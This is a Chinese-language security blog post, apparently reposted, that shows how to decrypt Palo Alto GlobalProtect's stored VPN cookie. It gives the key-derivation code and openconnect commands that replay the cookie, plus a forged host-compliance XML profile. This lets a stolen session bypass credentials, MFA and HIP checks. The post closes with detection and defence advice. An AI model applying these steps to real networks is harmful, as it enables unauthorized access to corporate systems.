解密和重放 GlobalProtect VPN Cookie

admin 2024年9月13日13:57:26评论78 views字数 8013阅读26分42秒阅读模式

关键要点

  • 持久性 VPN 身份验证令牌与浏览器会话 Cookie 和其他设备驻留凭据材料一样容易受到会话劫持。

  • 通过从工作设备重建配置文件并使用第三方 VPN 客户端重放它们,可以打破 VPN 访问的设备要求。

  • 与任何其他初始访问方法一样,网络访问本身并不是灾难性的。即使无法完全了解原始端点,基于网络的发现和横向移动技术仍然为检测和预防提供了宝贵的机会。

背景

随着现代 VPN 或 SASE 解决方案的采用,始终在线或长期存在的 VPN 会话是一种越来越常见的配置。更少的身份验证意味着更少的用户阻碍,并且始终在线的解决方案可确保对来自端点的网络流量的一致可见性。如果做得正确,这是双赢的。

始终在线或长期存在的 VPN 配置意味着设备必须存储一些身份验证材料,即 cookie,VPN 客户端使用这些材料来恢复连接,而无需用户交互。与任何其他 Cookie 或凭证材料一样,这为攻击者提供了窃取和重放以获得访问权限的机会。在这篇文章中,我们将研究此类产品 Palo Alto 的 GlobalProtect客户端。

免责声明

  • 使用 VPN 进行远程访问的攻击行为并不新鲜。窃取永远在线的 VPN cookie 的概念可能也不新鲜,但我没有找到太多关于该主题的公开信息。

  • 我们在这里探索的不是“漏洞”,像 GlobalProtect这样的永远在线的 VPN 解决方案本身也没有任何东西是被破坏的。事实上,增加的保护层可能是为了响应 CVE-2019–1573 而添加的。客户有可行的缓解选项来解决事后令牌盗窃问题。

查找 Cookie

从 Palo Alto 的官方文档中,我们了解到 GlobalProtect客户端将其 Cookie(称为“门户用户身份验证 Cookie”)存储在 %LOCALAPPDATA% 中的文件中。具体说来: %LOCALAPPDATA%PaloAltoNetworksGlobalProtectPanPUAC_<hash>.dat

在十六进制编辑器中快速查看此文件会发现该文件受windows DPAPI 保护,如其唯一的标头 01000000D08C9DDF0115D1118C7A00C0...

解密和重放 GlobalProtect VPN Cookie

受 DPAPI 保护的 Cookie截图

在此文件上调用 CryptUnprotectData 会生成另一个不可用的高熵(可能已加密)数据 blob。

解密和重放 GlobalProtect VPN Cookie

DPAPI 未受保护的 Cookie 文件的熵

由此,我们可以做出两个假设:

  • 这些.dat文件可能在存储之前以某种方式进行了加密和/或序列化。

  • VPN 客户端正在使用一些硬编码或派生的密钥材料来解密它。

逆向策略

作为一个相当缺乏经验的逆向工程师,深入研究闭源软件中使用的加密实现的想法感觉有点令人生畏。我可能做了一些艰难的事情,但以下是最终有帮助的:

  • 使用动态分析来帮助更好地理解某些功能。使用动态分析补充静态分析时,请禁用 ASLR。附加到 x64dbg 中的进程后,找到镜像的基址,并在 IDA 中相应地变基程序。这样可以更轻松地在要在调试器中跟踪的函数上设置断点。

  • 详细日志记录 FTW, GlobalProtect具有非常详细的日志记录,我们可以使用它来更轻松地查找和跟踪相关函数。在 IDA 中搜索调试字符串,找到外部参照,然后从那里向后工作。

当我们调查客户端如何管理存储的 Cookie 时,我首先在 IDA 中搜索包含“cookie”或“decrypt”的任何字符串。这产生了几个结果,其中两个很突出:一个指向名为 UnserializePortalAuthCookie 的函数,另一个与文件解密相关。

解密和重放 GlobalProtect VPN Cookie

指示存在 UnserializePortalAuthCookie 函数的反编译代码

在同一个函数的下方,我们看到在检查另一个函数调用的结果后发生的日志记录,这表明该函数可能负责解密 cookie 文件,我在 IDA 中相应地重命名了该文件。

解密和重放 GlobalProtect VPN Cookie

反编译代码提示存在文件解密功能

识别 AES 密码并恢复密钥

在解密函数中,我们看到对 EVP_EncryptInit_ex 以及后续 EVP_DecryptUpdateEVP_DecryptFinal_Ex 调用的字符串/调试日志引用。Google 搜索这些字符串会将我们指向 OpenSSL 库,这给了我们一个提示,即 OpenSSL 可能静态链接到服务二进制文件。我们可以通过深入研究一些功能并将它们与开源进行比较来确认这一点。例如, EVP_EncryptInit_ex 函数的反编译方式与 source 函数几乎相同,这证实了我们的怀疑:

解密和重放 GlobalProtect VPN Cookie

OpenSSL EVP_DecryptInit_Ex与反编译代码的比较

源码参考:https://github.com/openssl/openssl/blob/16e7da091c67e072b6927fcbf8637824bfd13f83/crypto/evp/evpenc.c?source=postpage-----4a1d8fc7773e--------------------------------#L516

查看 EVP 函数调用的整体流程(与公共示例相比)表明可能正在使用 AES 加密密码。值得关注的是, EVP_EncryptInit_exEVP_DecryptInit_ex 采用 key 和 IV 进行初始化,因此我在这些函数地址上设置断点以转储这些值。

解密和重放 GlobalProtect VPN Cookie

在 EVP_DecryptInit_Ex call中恢复 Key 和 IV

通过这种方式,我们恢复了一个可能的密钥, C41006BC DB EF6683B2 E7387EA9487A77C41006BC DB EF6683B2 E7387EA9487A77 以及一个似乎是 null IV 的密钥,该键是重复的 16 字节模式。

此时,我只是猜测它是 AES-256-CBC(基于密钥长度),结果证明是正确的。使用 Cyberchef 进行测试,我们确认门户配置文件解密成功。

解密和重放 GlobalProtect VPN Cookie

GlobalProtect客户端门户配置文件的解密标头

回顾一下我们所知道的和需要进一步调查的内容:

  • OpenSSL 库用于加密和解密。

  • 存储的 .dat 文件受 DPAPI 保护,并使用一致的密钥和空 IV 进行 AES-256-CBC 加密。

  • AES-256 密钥是一个重复的 16 字节模式,在加密/解密功能完成后不会出现在内存中,也不存在于二进制文件中(即,这不是硬编码密钥)。

在这种情况下,我们应该假设存在一些 key-derivation-function 需要查找和复制。

分析密钥派生部分

找到MD5的初始状态变量值:

  1. void __fastcall z_unknown_1(_DWORD *a1)

  2. {

  3. a1[1] =0;

  4. *a1 =0;

  5. a1[2] =1732584193;

  6. a1[3] = -271733879;

  7. a1[4] = -1732584194;

  8. a1[5] =271733878;

  9. }

将这些函数确定为 MD5_InitMD5_UpdateMD5_Final。有了这些信息,可以按如下方式重命名两个关键函数:

  1. _BYTE *__fastcall z_get_pan_md5(_BYTE *out_buf)

  2. {

  3. int md5_state[24];// [rsp+20h] [rbp-29h] BYREF

  4. int pann_str[4];// [rsp+80h] [rbp+37h] BYREF

  5. qmemcpy(pann_str,"pannetwork",10);

  6. z_md5_init(md5_state);

  7. z_md5_update((char *)md5_state,(char *)pann_str,10);

  8. z_md5_final(md5_state,out_buf);

  9. returnout_buf;

  10. }

  11. _BYTE *__fastcall z_get_md5_key(char *data_ptr,int data_len, _BYTE *out_buf)

  12. {

  13. char *pan_md5;// rax

  14. int md5_state[24];// [rsp+20h] [rbp-88h] BYREF

  15. z_md5_init(md5_state);

  16. z_md5_update(md5_state, data_ptr, data_len);

  17. pan_md5 = z_get_pan_md5(out_buf);

  18. z_md5_update(md5_state, pan_md5,16);

  19. z_md5_final(md5_state,out_buf);

  20. returnout_buf;

  21. }

该代码嵌套 MD5 哈希,传递给 z_get_md5_key 函数的数据与硬编码字符串 pannetwork 的 MD5 哈希连接,然后使用 MD5 再次进行哈希处理。从本质上讲,它正在执行 MD5(input+MD5(“pannetwork”)) .为了确定哪些数据被传递到这个哈希函数中,我在 z_get_md5_key 上设置了一个断点,并检查了 RCX 和 RDX 寄存器,它们分别保存数据指针和数据长度。

解密和重放 GlobalProtect VPN Cookie

传递给 MD5 哈希函数的计算机 SID

在 RDX 寄存器中,我们看到数据长度为 0x18(24 字节),传递给函数的 24 字节字符串是 010400000000000515000000EF C8897F22AF1E09042DC851 ......

在 IDA 中再次返回调用,我们发现传递给 z_get_md5_key 的指针最终来自一个函数,该函数使用 Win32 API 调用 ( GetComputerNameExW -> LookupAccountNameW -> LookupAccountNameW -> ConvertSidToStringSidA) 检索计算机 SID,返回计算机 SID 的十六进制表示形式。如果这些调用中的任何一个失败,该函数将采用硬编码字符串 global135protect

使用 python 我们可以确认这实际上是 key 派生函数:

  1. import hashlib

  2. sidbytes = bytearray([0x01,0x04,0x00,0x00,0x00,0x00,0x00,0x05,

  3. 0x15,0x00,0x00,0x00,0xEF,0xC8,0x89,0x7F,

  4. 0x22,0xAF,0x1E,0x09,0x04,0x2D,0xC8,0x51])

  5. pannetwork_str ="pannetwork"

  6. md5_pannetwork = hashlib.md5(pannetwork_str.encode()).digest()

  7. finalbytes = sidbytes + md5_pannetwork

  8. finalmd5 = hashlib.md5(finalbytes).hexdigest()

  9. print(finalmd5)

  10. c41006bcdbef6683b2e7387ea9487a77

这确实产生了我们在 AES 密钥中看到重复两次的 16 字节值!所以,我们最终的 KDF 是:

  1. MD5(ComputerSID+ MD5("pannetwork"))+ MD5(ComputerSID+ MD5("pannetwork"))

Crowdstrike 研究团队的一篇文章,该文章记录了这个 _exact_ 密钥派生函数,但在客户端更新过程中用于 EoP 漏洞利用的上下文中。

https://www.crowdstrike.com/blog/exploiting-escalation-of-privileges-via-globalprotect-part-1/

传递 Cookie

有了解密的会话 Cookie,我们就可以使用“openconnect”客户端,它完全实现了 GlobalProtect的协议,包括使用门户身份验证 Cookie 进行身份验证。在提示符处提供恢复的 Cookie 后,这将对门户进行身份验证,并提示我们选择要连接的网关(取决于配置,因为某些部署使用门户作为网关)。

  1. $ sudo openconnect --protocol=gp --user="example\\username"--usergroup=portal:portal-userauthcookie --os=win https://vpn.example.com

主机信息配置文件检查

对 VPN 进行身份验证是第一步,但成熟的部署应该使用 GlobalProtect的主机信息配置文件 (HIP) 检查根据一组合规性策略检查主机。规避这些检查的现有研究已经很成熟,但凭借解密数据文件的能力,我们可以更进一步。 GlobalProtect将主机信息配置文件报告中的信息存储在 以下位置 %PROGRAMFILES%PaloAltoNetworksGlobalProtect

  1. |File|Purpose|

  2. | ---------------------|----------------------------------------------------------------------------|

  3. |HipPolicy.dat |All configured HIP checks performed by the agent (does not contain results).|

  4. | HIP_AM_Report_V4.dat |Anti-malware policy check results.|

  5. | HIP_BC_Report_V4.dat |Backup compliance check results.|

  6. | HIP_DE_Report_V4.dat |Disk encryption check results.|

  7. | HIP_DLP_Report_V4.dat | DLP check results.|

  8. | HIP_FW_Report_V4.dat |Host based firewall check results.|

  9. | HIP_PM_Report_V4 |Patch management check results.|

  10. |PanGPS.log |PanGPS service log (may contain HIP related data).|

  11. |PanGPHip.log | HIP specific log, usually contains full HIP XML profile.|

所有 .dat 文件都使用相同的密钥进行 AES 加密,因此我们可以在兼容的主机上轻松解密这些文件,并使用它们来重建工作配置文件。我们还可以使用日志文件内容来拼凑一个工作配置文件,因为在某些情况下,整个 HIP 配置文件的 XML 内容都转储到 PanGPHip.log 文件中。

幸运的是, openconnect 支持通过 --csd-wrapper 参数从 shell 脚本传递 HIP 报告数据。很简单,我们可以从上面的 .dat 文件中获取从日志/构造中恢复的 XML,并替换 openconnect 项目中 hipreport.sh 脚本的相关部分。例如,如果合规性策略需要实时 Windows Defender 扫描和最近的扫描,我们可能会包括以下内容:

  1. <entryname="anti-malware">

  2. <list>

  3. <entry>

  4. <ProductInfo>

  5. <Prodvendor="Microsoft Corporation"name="Windows Defender"version="4.18.2304.8"defver="1.389.187.0"engver="1.1.20300.3"datemon="5"dateday="4"dateyear="2023"prodType="3"osType="1"/>

  6. <real-time-protection>yes</real-time-protection>

  7. <last-full-scan-time>$NOW</last-full-scan-time>

  8. </ProductInfo>

  9. </entry>

  10. </list>

  11. </entry>

我们可以在连接设置期间按如下方式传递此代码:

  1. $ sudo openconnect --protocol=gp --user="example\\username"--usergroup=portal:portal-userauthcookie --os=win https://vpn.example.com --csd-wrapper ~/tools/custom-hips-profile.sh

https://github.com/halilugur/openconnect/blob/master/hipreport.sh?source=post_page-----4a1d8fc7773e--------------------------------

实施

随着 EDR 能力的不断改进,红队一直面临着寻找在端点上保持逃避新方法的挑战。这导致“远离陆地”或“远离外国土地”贸易技术的更广泛采用,通过植入物隧道化我们的工具来减少我们在端点的足迹。在某些情况下,这可能是不切实际的,甚至在我们的 C2 的本机 SOCKS 通道上隧道化标准攻击性工具(如 impacket)也可能面临被一些领先的 EDR 产品检测到的风险。新颖的 Active Directory 交易技术(例如 SpecterOps 引入的无数 NTLM 中继和对象接管基元)也可能非常繁琐地通过植入程序执行,因为它需要将多个端口转发链接在一起,并且在某些情况下需要对端口 445 的绑定访问,而这在非特权上下文中是无法访问的。

将我们的红队控制设备连接到 VPN 解决了其中的许多挑战,使用已建立的 VPN 会话 cookie 使我们能够在不需要用户凭证或 MFA 的情况下做到这一点。

在本篇博文之后的一段时间内,将提供用于解密和收集 Windows GlobalProtect安装中所有相关文件的 PoC 工具,并立即在同一存储库中提供 Sigma 和 Yara 规则形式的对策。

https://github.com/rotarydrone/GlobalUnProtect

防御指南

除了存储库中专门对 GlobalUnProtect 和 OpenConnect 工具进行签名的对策外,防御者还可以考虑以下措施:

  • 对来自多个位置具有多个活动 VPN 连接的用户发出警报: 假设用户只有一个设备,则使用设备序列号和 IP 信息作为信号来完成这应该很简单。

  • 使用 HIP 配置文件来防止来自非托管设备的连接: 虽然我们证明了可以通过从工作且合规的设备中继或重建配置文件来击败 HIP 策略,但只有当连接到 VPN 的端点遭到入侵时,才会发生这种攻击场景。确保连接到 VPN 的设备满足最低强化和 AV/EDR 要求对于降低实现此风险的可能性仍然至关重要。将 BYOD 与企业 VPN 访问相结合是痛苦的根源。

  • 对 HIP 故障和不合规设备发出警报: 尽管演示了击败这些策略的方法,但攻击者完全有可能在第一次尝试时不会构建工作配置文件。此外,具有仅凭证访问权限(例如,通过密码喷射)的攻击者可能无法预测 HIP 策略要求。

  • 深度防御和检测: 无论是通过 VPN 还是其他方式,攻击者获得网络访问权限都不应被视为灾难性事件。他们仍然需要朝着实现目标前进。网络发现和横向移动等策略提供了许多检测和预防机会,即使对原始端点的可见性有限。实施严格的网络分段、保持强大的凭证卫生以及应用最小权限原则会显著增加网络内攻击者的摩擦。

引用

  • https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/

  • https://www.crowdstrike.com/blog/exploiting-escalation-of-privileges-via-globalprotect-part-1/

  • https://www.infradead.org/openconnect/globalprotect.html

  • https://medium.com/cyesec/no-portals-needed-79995d8f7e62

原文始发于微信公众号(TIPFactory情报工厂):解密和重放 GlobalProtect VPN Cookie

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月13日13:57:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   解密和重放 GlobalProtect VPN Cookiehttps://cn-sec.com/archives/3162968.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息